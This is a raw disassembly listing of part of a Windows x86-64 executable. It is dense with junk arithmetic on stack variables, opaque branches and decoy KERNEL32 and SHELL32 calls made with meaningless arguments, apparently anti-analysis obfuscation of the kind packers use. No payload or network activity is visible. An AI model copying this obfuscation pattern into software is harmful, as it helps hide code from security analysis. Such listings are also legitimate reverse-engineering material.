mov dword [rsp + 0x7f70], eax
movabs rax, 0x7b9886bf0e8870
mov rcx, qword [rsp + 0xdac0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
movsx eax, word [rsp + 0x28dc]
xor eax, 0x2cc
mov word [rsp + 0x28e4], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
sar eax, cl
mov word [rsp + 0x28d8], ax
movzx eax, byte [rsp + 0xc0]
shl eax, 3
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
movabs rax, 0x749eba316bfd2f
mov rcx, qword [rsp + 0xdac0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
sub eax, ecx
mov word [0x140211390], ax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
movabs rax, 0x7c80d38c84b69f
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [rsp + 0x28d8], ax
movsx eax, word [rsp + 0x28e4]
sub eax, 0x545
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
and eax, 0x72
mov byte [rsp + 0xc0], al
movsx eax, byte [rsp + 0x56b]
add eax, 0x2b
mov byte [rsp + 0x56c], al
cmp dword [rsp + 0x7f68], 0xba0a
jb 0x140014ae9
mov rax, qword [rsp + 0xd518]
mov qword [rsp + 0x101e0], rax
cmp dword [rsp + 0x7f58], 0x4036
jbe 0x140015051
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x28d8], ax
mov eax, dword [rsp + 0x7f58]
sub eax, 0x25
mov dword [rsp + 0x7f58], eax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
sub eax, ecx
mov word [0x140211390], ax
mov eax, dword [rsp + 0x7f8c]
movzx ecx, al
mov eax, dword [rsp + 0x7f4c]
shr eax, cl
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
xor eax, 0x367e
mov dword [rsp + 0x7f70], eax
movsx eax, word [rsp + 0x28dc]
or eax, 0x7b
mov word [rsp + 0x28e4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
shl eax, 7
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0xdac0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x2708], ax
movsx eax, word [rsp + 0x28e4]
sub eax, 0x678
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
sub eax, 0xad
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
add eax, 0x135
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0x101e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
movzx eax, byte [rsp + 0xc0]
sub eax, 0x6c
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x56c]
or eax, 0x5b
mov byte [rsp + 0x56b], al
movzx ecx, word [rsp + 0x28e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e8], ax
movsx eax, word [rsp + 0x28e4]
shl eax, 1
mov word [rsp + 0x28dc], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
xor eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0xdac0]
movzx ecx, al
mov rax, qword [rsp + 0xd518]
sar rax, cl
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
movabs rax, 0x70564072492b18
mov rcx, qword [rsp + 0xda48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
add eax, 0x5da1
mov dword [rsp + 0x7f70], eax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
sub eax, ecx
mov word [rsp + 0x28d8], ax
jmp 0x140014dd7
lea rcx, str.FCT.a0aWJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x28ec], ax
mov dword [rsp + 0x7f90], 0x34c9
movsx eax, word [rsp + 0x28e4]
add eax, 0x74e
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
sub eax, 0xb1
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0xdac0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
movsx eax, word [rsp + 0x28e4]
add eax, 0xaf
mov word [rsp + 0x28dc], ax
mov eax, dword [rsp + 0x7f70]
add eax, 0x2b55
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
and eax, ecx
mov word [0x140211390], ax
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x7f94], eax
mov eax, dword [rsp + 0x7f70]
shl eax, 3
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
movsx eax, byte [rsp + 0x56b]
sar eax, 7
mov byte [rsp + 0x56c], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x7f98], eax
mov eax, dword [rsp + 0x7f84]
add eax, 0x14
mov dword [rsp + 0x7f84], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
xor eax, 0x2a
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xd518]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
movsx eax, word [rsp + 0x28e4]
sub eax, 0x78f
mov word [rsp + 0x28dc], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
and eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
add eax, 0xb2
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
add eax, 0xc22
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0xdac0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
movsx eax, word [rsp + 0x28e4]
sub eax, 0x702
mov word [rsp + 0x28dc], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
sub eax, 0x7a
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0xd518]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
cmp dword [rsp + 0x7f84], 0x19c6
jbe 0x140015071
cmp dword [rsp + 0x7f80], 0x4ba0
jb 0x140015777
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [0x140211390]
xor eax, ecx
mov word [rsp + 0x2708], ax
mov eax, dword [rsp + 0x7f4c]
movzx ecx, al
mov eax, dword [rsp + 0x7f54]
shr eax, cl
mov dword [rsp + 0x7f8c], eax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
shl eax, cl
mov word [0x140211390], ax
movsx eax, byte [rsp + 0x56b]
and eax, 0x17
mov byte [rsp + 0x56c], al
movabs rax, 0x766657d8ee40cd
mov rcx, qword [rsp + 0xda48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov eax, dword [rsp + 0x7f80]
sub eax, 5
mov dword [rsp + 0x7f80], eax
movsx eax, word [rsp + 0x28dc]
add eax, 0x590
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
and eax, 0xa3
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0xd518]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x28d8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
sub eax, 0xe0
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
sub eax, 0x477d
mov dword [rsp + 0x7f70], eax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x101c8]
shl rax, 0x29
mov qword [rsp + 0xda48], rax
movsx eax, word [rsp + 0x28dc]
sar eax, 2
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0x101e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x28d8]
xor eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
and eax, 0xca
mov byte [rsp + 0xc0], al
movsx eax, word [rsp + 0x28dc]
sub eax, 0x28e
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0xd518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x28d8], ax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
sub eax, ecx
mov word [0x140211390], ax
movabs rax, 0x796a5249a06aab
mov rcx, qword [rsp + 0xda48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
sub eax, 0x4f83
mov dword [rsp + 0x7f70], eax
movsx eax, word [rsp + 0x28dc]
add eax, 0x440
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd518]
movzx ecx, al
mov rax, qword [rsp + 0x101e0]
shl rax, cl
mov qword [rsp + 0xdac0], rax
movsx eax, word [rsp + 0x28dc]
sar eax, 7
mov word [rsp + 0x28e4], ax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [0x140211390]
or eax, ecx
mov word [rsp + 0x2708], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
xor eax, ecx
mov word [0x140211390], ax
movabs rax, 0x7c71762ac6078f
mov rcx, qword [rsp + 0x101c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov eax, dword [rsp + 0x7f4c]
mov ecx, dword [rsp + 0x7f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
add eax, 0xad
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
sub eax, 0x6c
mov byte [rsp + 0xc0], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x101e8], rax
movsx eax, word [rsp + 0x28e4]
sub eax, 0x348
mov word [rsp + 0x28dc], ax
movsx eax, byte [rsp + 0x56c]
and eax, 0x5c
mov byte [rsp + 0x56b], al
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x28d8], ax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
sub eax, ecx
mov word [0x140211390], ax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
shl eax, 1
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xd518]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
movsx eax, word [rsp + 0x28dc]
sar eax, 1
mov word [rsp + 0x28e4], ax
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x2708]
xor eax, ecx
mov word [rsp + 0x28d8], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
and eax, 0x6d
mov byte [rsp + 0xc0], al
mov eax, dword [rsp + 0x7f70]
add eax, 0x311
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
jmp 0x1400152ca
movsx eax, word [rsp + 0x28dc]
mov dword [rsp + 0x7f9c], eax
cmp dword [rsp + 0x7f9c], 0x11c
je 0x1400157d2
cmp dword [rsp + 0x7f9c], 0x4cc
je 0x1400157a2
jmp 0x140015808
movsx eax, word [rsp + 0x28e4]
sub eax, 0xe9
mov word [rsp + 0x28dc], ax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [0x140211390], ax
jmp 0x140015808
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7f4c]
mov ecx, dword [rsp + 0x7f8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov dword [rsp + 0x7fa0], 0x8724
mov dword [rsp + 0x7fa4], 0xdcf5
cmp dword [rsp + 0x7f60], 0xb514
je 0x1400159e6
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
and eax, 0x83
mov byte [rsp + 0xc0], al
mov eax, dword [rsp + 0x7f70]
sub eax, 0x216d
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x56b]
shl eax, 1
mov byte [rsp + 0x56c], al
movsx eax, word [rsp + 0x28e4]
xor eax, 0x6c6
mov word [rsp + 0x28dc], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
or eax, ecx
mov word [rsp + 0x28d8], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
sar eax, cl
mov word [0x140211390], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
sub eax, 0x2ed
mov dword [rsp + 0x7f70], eax
movzx eax, byte [rsp + 0xc0]
and eax, 0x54
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
add eax, 0x34
mov byte [rsp + 0xc0], al
mov eax, dword [rsp + 0x7f70]
sub eax, 0x4f8d
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7f60]
add eax, 0xa5
mov dword [rsp + 0x7f60], eax
movzx ecx, word [rsp + 0x28ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e8], ax
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x2708]
sub eax, ecx
mov word [rsp + 0x28d8], ax
movsx eax, word [rsp + 0x28e4]
add eax, 0x666
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
sub eax, 0xc8
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0x101e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [0x140211390], ax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
jmp 0x14001581e
mov eax, dword [rsp + 0x7f70]
mov dword [rsp + 0x7fa8], eax
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x28e4]
cdq
idiv ecx
mov word [rsp + 0x1b14], ax
mov dword [rsp + 0x7fac], 0x97ec
movzx eax, byte [rsp + 0xc0]
xor eax, 0x5a
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
cmp eax, ecx
jge 0x140015b07
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov byte [rsp + 0x56d], al
movzx eax, byte [rsp + 0x56b]
mov byte [rsp + 0x56e], al
lea rax, [0x140211390]
mov qword [rsp + 0x101f0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x101f8], rax
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0x101e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
movsx eax, word [rsp + 0x1b14]
mov dword [rsp + 0x7fb0], eax
cmp dword [rsp + 0x7fb0], 0x2a
je 0x140015ab9
jmp 0x140015b02
lea rcx, [rsp + 0x101d0]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov r8d, dword [rsp + 0x7f70]
mov edx, dword [rsp + 0x7f54]
mov rax, qword [rsp + 0x101f0]
movzx ecx, word [rax]
call fcn.1401f4f90
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
shl eax, cl
mov byte [rsp + 0x56d], al
jmp 0x140015bec
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
add eax, ecx
mov word [0x140211390], ax
mov eax, dword [rsp + 0x7f4c]
mov ecx, dword [rsp + 0x7f54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
movabs rax, 0x7611513826395d
mov rcx, qword [rsp + 0xda48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x101d0]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x7f4c]
mov rax, qword [rsp + 0x101f0]
movzx ecx, word [rax]
call fcn.1401f4f90
lea rax, [rsp + 0x7fb4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x8c
mov r8d, 0xa0
mov edx, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov rcx, qword [rsp + 0x10200]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x7fb8], eax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28dc]
sub eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xd518]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf70], rax
cmp dword [rsp + 0x7fa4], 0xd7f4
jb 0x140015e1b
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x1b14]
add eax, ecx
mov word [rsp + 0x28e4], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
sub eax, ecx
mov word [rsp + 0x28d8], ax
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [0x140211390], ax
movabs rax, 0x7b7ce2c46c24b4
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov eax, dword [rsp + 0x7f4c]
mov dword [rsp + 0x7fb8], eax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
shl eax, cl
mov rcx, qword [rsp + 0x101f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0xd518]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x28dc]
sar eax, cl
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
xor eax, ecx
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28d8], ax
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0xc0]
add eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov eax, dword [rsp + 0x7fa4]
sub eax, 0x15
mov dword [rsp + 0x7fa4], eax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [0x140211390], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f70], eax
movabs rax, 0x7632cb13fbbc73
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28dc]
add eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
sub eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov byte [rsp + 0x56d], al
jmp 0x140015c0a
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0x101e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0x101e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28dc]
sar eax, cl
mov word [rsp + 0x28e4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov eax, dword [rsp + 0x7f70]
mov ecx, dword [rsp + 0x7fa8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
shl eax, cl
mov word [0x140211390], ax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x56b]
and eax, ecx
mov byte [rsp + 0x56e], al
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
sub eax, ecx
mov word [rsp + 0x28d8], ax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56d], al
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x1b14]
and eax, ecx
mov word [rsp + 0x28dc], ax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [0x140211390]
sub eax, ecx
mov rcx, qword [rsp + 0x101f0]
mov word [rcx], ax
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x7fbc], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [0x140211390], ax
mov eax, dword [rsp + 0x7f70]
mov ecx, dword [rsp + 0x7fa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf70]
movzx ecx, al
mov rax, qword [rsp + 0xd518]
sar rax, cl
mov qword [rsp + 0x101e0], rax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7fc0], eax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
shl eax, cl
mov word [rsp + 0x28d8], ax
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x1b14]
or eax, ecx
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0x101e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf70], rax
mov eax, dword [rsp + 0x7fa8]
mov ecx, dword [rsp + 0x7f70]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
add eax, ecx
mov word [0x140211390], ax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
movabs rax, 0x7a5a0393144ee0
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov eax, dword [rsp + 0x7f40]
add eax, 0xf6
mov dword [rsp + 0x7f40], eax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x7fbc], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
add eax, ecx
mov byte [rsp + 0x56d], al
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x1b14]
sub eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
sub eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
xor eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28dc]
sar eax, cl
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
shl eax, cl
mov word [0x140211390], ax
cmp dword [rsp + 0x7f40], 0xc8d4
jb 0x140015e39
lea rax, [rsp + 0x7fb8]
mov qword [rsp + 0x10208], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x7fc4], eax
